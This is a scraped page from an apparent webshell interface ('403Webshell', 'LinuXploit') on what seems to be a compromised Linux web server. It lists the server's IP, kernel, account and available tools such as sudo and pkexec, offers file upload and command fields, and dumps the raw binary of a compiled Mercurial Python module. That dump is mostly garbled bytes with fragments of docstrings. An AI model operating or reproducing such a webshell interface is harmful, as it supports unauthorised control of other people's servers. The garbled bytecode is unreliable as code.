403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/lib64/python3.9/site-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/lib64/python3.9/site-packages/mercurial/__pycache__/wireprotov1peer.cpython-39.pyc
a

�+�bV�@s�ddlmZddlZddlZddlmZddlmZddlm	Z	m
Z
ddlmZm
ZmZmZmZmZmZmZddlmZmZdd	lmZejZd
d�Zdd
�ZGdd�dejj�Ze� ej!�Gdd�de"��Z#e� ej$ej%�Gdd�dej&��Z'dS)�)�absolute_importN�)�_)�bin)�getattr�setattr)�bundle2�changegroup�encoding�error�pushkey�pycompat�util�wireprototypes)�
repositoryr)�hashutilcs*�fdd�}t|d��t|d�j�|S)a�annotation for batchable methods

    Such methods must implement a coroutine as follows:

    @batchable
    def sample(self, one, two=None):
        # Build list of encoded arguments suitable for your wire protocol:
        encoded_args = [('one', encode(one),), ('two', encode(two),)]
        # Return it, along with a function that will receive the result
        # from the batched request.
        return encoded_args, decode

    The decorator returns a function which wraps this coroutine as a plain
    method, but adds the original method as an attribute called "batchable",
    which is used by remotebatch to split the call into separate encoding and
    decoding phases.
    csB�|i|��\}}|s|S|d}t��j�}|�||�}||�S)Nr)r
Zbytesurl�__name__�
_submitone)�args�opts�encoded_args_or_res�decode�self�cmdZencoded_res��f��?/usr/lib64/python3.9/site-packages/mercurial/wireprotov1peer.py�plain9szbatchable.<locals>.plain�	batchabler)rr)rrrrrr&s	rcsltj�g}|D]R\}}t�fdd�|D��s0J�d��fdd�t�|�D��}|�d||f�qd�|�S)z;Return a ``cmds`` argument value for the ``batch`` command.c3s|]}�|�|kVqdS�Nr)�.0�k�Z	escapeargrr�	<genexpr>P�z"encodebatchcmds.<locals>.<genexpr>�,c3s&|]\}}d�|��|�fVqdS)s%s=%sNr)r!r"�vr#rrr$Rs�s%s %s�;)rZescapebatcharg�all�joinr
�	iteritems�append)�req�cmds�opZargsdictrrr#r�encodebatchcmdsGs�r0c@seZdZdZddd�ZdS)�unsentfuturea0A Future variation to represent an unsent command.

    Because we buffer commands and don't submit them immediately, calling
    ``result()`` on an unsent future could deadlock. Futures for buffered
    commands are represented by this type, which wraps ``result()`` to
    call ``sendcommands()``.
    NcCs,|��rtjj�||�S|j��|�|�Sr )�doner
�futures�Future�result�
_peerexecutor�sendcommands)r�timeoutrrrr5ds
zunsentfuture.result)N)r�
__module__�__qualname__�__doc__r5rrrrr1[sr1c@sDeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dS)�peerexecutorcCs2||_d|_d|_g|_t��|_d|_d|_dS)NF)	�_peer�_sent�_closed�_calls�weakref�WeakSet�_futures�_responseexecutor�
_responsef)r�peerrrr�__init__rs
zpeerexecutor.__init__cCs|Sr r�rrrr�	__enter__{szpeerexecutor.__enter__cCs|��dSr )�close)r�exctypeZexcvalee�exctbrrr�__exit__~szpeerexecutor.__exit__cs��jrt�d���jr t�d��t�jt���d���sFt�d�������fdd�}t�dd�rx|�}t|_	�|_
n"�jr�t�d���|�}���|S)	Ns4callcommand() cannot be used after commands are sents*callcommand() cannot be used after close()sAcannot call command %s: method of same name not available on peercs.tj��}�j�|��j����|f�|Sr )r
r3r4rC�addr@r,r�r�command�fnrrr�addcall�s
z)peerexecutor.callcommand.<locals>.addcallrFsX%s is not batchable and cannot be called on a command executor along with other commands)
r>r�ProgrammingErrorr?rr=r
Zsysstrr1�	__class__r6r@r7)rrPrrRrrrOr�callcommand�s:������zpeerexecutor.callcommandc
Cs�|jr
dS|jsdSd|_|jD]}t|t�r tjj|_d|_	q |j}d|_t
|�dkr�|d\}}}}|��stdSz|fit�|���}Wn*t
y�t�|t��dd��Yn0|�|�dSg}g}|D]�\}}}}|��s�q�z"|j|jfit�|���\}	}
Wn0t
�y:t�|t��dd��YdS0|
�sN|�|	�q�|�||	f�|�||t|
f�q�|�szdS|j�|�}tj�d�|_|j�|j||�|_dS)NTrr)r>r@rC�
isinstancer1r
r3r4rTr6�lenZset_running_or_notify_cancel�	strkwargs�	Exception�future_set_exception_info�sys�exc_info�
set_resultr�__self__r,r=�_submitbatchZThreadPoolExecutorrDZsubmit�_readbatchresponserE)rrZcallsrPrrQr5Zrequests�statesrr�wireresultsrrrr7�s\



	��
�zpeerexecutor.sendcommandsc
Cs�|��|jrdSd|_|js"dSzX|j��W|jjdd�d|_d|_|jD]"}|��sP|�t	�
td�d��qPd|_nL|jjdd�d|_d|_|jD]"}|��s�|�t	�
td�d��q�d|_0dS)NT)�wait�"unfulfilled batch command response)r7r?rEr5rDZshutdownrCr2�
set_exceptionr�
ResponseErrorr)rrrrrrJ
s<
���
��zpeerexecutor.closec	
Cs�|D]�\}}}}zt|�}Wn(tyD|�t�td�d��Yq0z||�}Wn*ty|t�|t	�
�dd��Yq0|�|�qdS)Nrdr)�next�
StopIterationrerrfrrYr
rZr[r\r])	rrarbrPrrrZremoteresultr5rrrr`*s��
zpeerexecutor._readbatchresponseN)
rr9r:rGrIrMrUr7rJr`rrrrr<ps	7R r<c@s�eZdZdZdd�Zdd�Zedd��Zedd	��Zed
d��Z	edd
��Z
edd��Zedd��Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd3d%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1d2�Zd$S)4�wirepeerz�Client-side interface for communicating with a peer repository.

    Methods commonly call wire protocol commands of the same name.

    See also httppeer.py and sshpeer.py for protocol-specific
    implementations of this interface.
    cCst|�Sr )r<rHrrr�commandexecutorPszwirepeer.commandexecutorcCs|�dtd��|�d�S)Nsclonebundless
clone bundles)�
requirecapr�_callrHrrr�clonebundlesUszwirepeer.clonebundlescs.��dtd���fdd�}dt�|�i|fS)Nslookupslook up remote revisioncs<|dd��dd�\}}t|�r(t|�S��t�|��dS)N���� r)�split�intr�_abortrZ	RepoError)�d�success�datarHrrr]szwirepeer.lookup.<locals>.decode�key)rkrr
�	fromlocal)r�keyrrrHr�lookupYszwirepeer.lookupcs�fdd�}i|fS)Nc	sBzt�|dd��WSty<��t�td�|��Yn0dS)Nrn�unexpected response:)r�
decodelist�
ValueErrorrrrrfr�rsrHrrrhszwirepeer.heads.<locals>.decoder�rrrrHr�headsfszwirepeer.headscs�fdd�}dt�|�i|fS)Nc	sDzdd�t�|�D�WSty>��t�td�|��Yn0dS)NcSsg|]}tt|���qSr)�boolrq�r!�brrr�
<listcomp>tr%z2wirepeer.known.<locals>.decode.<locals>.<listcomp>rz)r
Ziterbytestrr|rrrrfrr}rHrrrrszwirepeer.known.<locals>.decode�nodes�r�
encodelist)r�nodesrrrHr�knownpszwirepeer.knowncs�fdd�}i|fS)Nc	sxzJi}|��D]6}|�dd�\}}t�t�|��}t�|�}|||<q|WStyr��	t
�td�|��Yn0dS)Nrorrz)
�
splitlinesrpr
Ztolocal�urlreq�unquoterr{�	TypeErrorrrrrfr)rs�	branchmapZ
branchpartZ
branchnameZbranchheadsrHrrr|s

z"wirepeer.branchmap.<locals>.decoderr~rrHrr�zszwirepeer.branchmapcsB��d�sidfS�j�d����fdd�}dt���i|fS)N�pushkeyspreparing listkeys for "%s"
cs"�j�d�t|�f�t�|�S)Ns$received listkey for "%s": %i bytes
)�ui�debugrW�
pushkeymodZ
decodekeysr}��	namespacerrrr�s�z!wirepeer.listkeys.<locals>.decode�	namespace��capabler�r�r
rw)rr�rrr�r�listkeys�s

zwirepeer.listkeyscsX��d�sdS�j�d||f��fdd�}t�|�t�|�t�|�t�|�d�|fS)Nr�)FNspreparing pushkey for "%s:%s"
csj|�dd�\}}ztt|��}Wn"tyBt�td�|��Yn0|�d�D]}�j�	td�|�qN|S)N�
r�"push failed (unexpected response):T�remote: )
rpr�rqr|rrfrr�r��status)rs�output�lrHrrr�s�
z wirepeer.pushkey.<locals>.decode)r�rvsoldsnewr�)rr�rx�old�newrrrHrr�s

��zwirepeer.pushkeycCs
|�d�S)Ns
stream_out)�_callstreamrHrrr�
stream_out�szwirepeer.stream_outc	Ks*t�|�}|�dtd��i}|�d�p,t�}t�|�D]�\}}|durJq8tj�|�}|durnt	�
d|��nj|dkr�t�|�}nV|dkr�d�|�}nB|dkr�d�t
|��}n*|d	kr�d
t|�}n|dkr�td|��|||<q8|jdit�|���}td
d�|D���rt�|j|�St�|d�SdS)N�	getbundle�look up remote changess
bundlecapss$Unexpectedly None keytype for key %sr�scsvr&sscsvsbooleans%isplains unknown getbundle option type %scss|]}|�d�VqdS)sHG2N)�
startswith)r!Zcaprrrr$�r%z%wirepeer.getbundle.<locals>.<genexpr>�UN)r�)r
Zbyteskwargsrkr�get�setr+rZGETBUNDLE_ARGUMENTSrrSr�r*�sortedr��KeyError�_callcompressablerX�anyr�getunbundlerr��changegroupmod�cg1unpacker)	r�source�kwargsrZ
bundlecapsrx�valueZkeytyperrrr�	getbundle�s6
�
zwirepeer.getbundlec	Cs�|dgkr8|�d�r8t�dt�d�t|�����g�}n
t�|�}t�	|d�r�|j
d||d�\}}|dkrzt�t
d�|��zt|�}Wn"ty�t�t
d	�|��Yn0|�d
�D]}|j�t
d�|�q�n|jd||d�}t�|j|�}|S)a�Send cg (a readable file-like object representing the
        changegroup to push, typically a chunkbuffer object) to the
        remote server as a bundle.

        When pushing a bundle10 stream, return an integer indicating the
        result of the push (see changegroup.apply()).

        When pushing a bundle20 stream, return a bundle20 stream.

        `url` is the url the client thinks it's pushing to, which is
        visible to hooks.
        sforcesunbundlehashshashedr%sdeltaheadersunbundle)rspush failed:r�Tr�)r�rr�rZsha1r*r��digestrZsafehasattr�	_callpushrrfrrqr|r�r�r��_calltwowaystreamrr�)rZbundler�url�retr�r��streamrrr�unbundle�s(�
�
zwirepeer.unbundlec	Cs^t�|�}|jd|d�}zdd�|��D�}|WStyX|�t�td�|��Yn0dS)Nsbranches)r�cSsg|]}tt�|���qSr)�tuplerr{r�rrrr�r%z%wirepeer.branches.<locals>.<listcomp>rz)	rr�rlr�r|rrrrfr)rr��nrs�brrrr�branches�s
zwirepeer.branchesc
Cs�d}g}t�dt|�|�D]x}d�dd�||||�D��}|jd|d�}z|�dd	�|��D��Wqty�|�t	�
td
�|��Yq0q|S)N�rrocSsg|]}t�|d��qS)�-r�)r!�prrrr�
s�z$wirepeer.between.<locals>.<listcomp>sbetween)�pairscss |]}|rt�|�pgVqdSr )rr{)r!r�rrrr$s�z#wirepeer.between.<locals>.<genexpr>rz)r
ZxrangerWr*rl�extendr�r|rrrrfr)rr�Zbatch�r�ir�rsrrr�betweens ��
�zwirepeer.betweencCs$t�|�}|jd|d�}t�|d�S)Nschangegroup)�rootsr�)rr�r�r�r�)rr�r�r�rrrrr	s
zwirepeer.changegroupcCs@|�dtd��t�|�}t�|�}|jd||d�}t�|d�S)Nschangegroupsubsetr�)�basesrr�)rkrrr�r�r�r�)rr�rr�rrrr�changegroupsubset!s

�zwirepeer.changegroupsubsetccs�|j}|jrJ|�dd�rJ|�d�|D]"\}}d}|�||t|�f�q&tj}|jdt|�d�}|�	d�}|g}	|r�d|vr�|r�|�	d�}|	�
|�qvd	�|	�}
d|
vr�|
�dd
�\}}
||�Vq�|�	d�}|
|g}	qr|d	�|	��VdS)zqrun batch request <req> on the server

        Returns an iterator of the raw responses from the server.
        sdevelsdebug.peer-requests$devel-peer-request: batched-content
s+devel-peer-request:    - %s (%d arguments)
sbatch)r.ir(r%rN)
r�Z	debugflagZ
configboolr�rWrZunescapebatchargr�r0�readr,r*rp)rr-r�r/r�msgZunescapeargZrsp�chunkZworkZmerged�onerrrr_,s*





zwirepeer._submitbatchcCs|j|fit�|���Sr )rlr
rX)rr/rrrrrIszwirepeer._submitoneNcCs:i}|dur||d<|dur$||d<|jd||d�|��S)N�three�four�
debugwireargs)r��two)r�)rl)rr�r�r�r�Zfiverrrr�
debugwireargsLszwirepeer.debugwireargscKs
t��dS)z�execute <cmd> on the server

        The command is expected to return a simple string.

        returns the server reply as a string.N��NotImplementedError�rrrrrrrlUszwirepeer._callcKs
t��dS)aexecute <cmd> on the server

        The command is expected to return a stream. Note that if the
        command doesn't return a stream, _callstream behaves
        differently for ssh and http peers.

        returns the server reply as a file like object.
        Nr�r�rrrr�]s	zwirepeer._callstreamcKs
t��dS)aEexecute <cmd> on the server

        The command is expected to return a stream.

        The stream may have been compressed in some implementations. This
        function takes care of the decompression. This is the only difference
        with _callstream.

        returns the server reply as a file like object.
        Nr�r�rrrr�hszwirepeer._callcompressablecKs
t��dS)z�execute a <cmd> on server

        The command is expected to be related to a push. Push has a special
        return method.

        returns the server reply as a (ret, output) tuple. ret is either
        empty (error) or a stringified int.
        Nr��rr�fprrrrr�us	zwirepeer._callpushcKs
t��dS)zqexecute <cmd> on server

        The command will send a stream to the server and get a stream in reply.
        Nr�r�rrrr��szwirepeer._calltwowaystreamcCs
t��dS)zBclearly abort the wire protocol connection and raise the exceptionNr�)r�	exceptionrrrrr�szwirepeer._abort)NNN)rr9r:r;rjrmrryrr�r�r�rr�r�r�r�r�r	r�r_rr�rlr�r�r�r�rrrrrrriDs>

	
	



-	
	
ri)(Z
__future__rr[rAZi18nrZnoderr
rr�rr	r�r
rrr�rrZ
interfacesrZ
interfaceutilZutilsrr�rr0r3r4r1ZimplementerZipeercommandexecutor�objectr<Z
ipeercommandsZipeerlegacycommandsrFrirrrr�<module>s&(
!
T�

Youez - 2016 - github.com/yon3zu
LinuXploit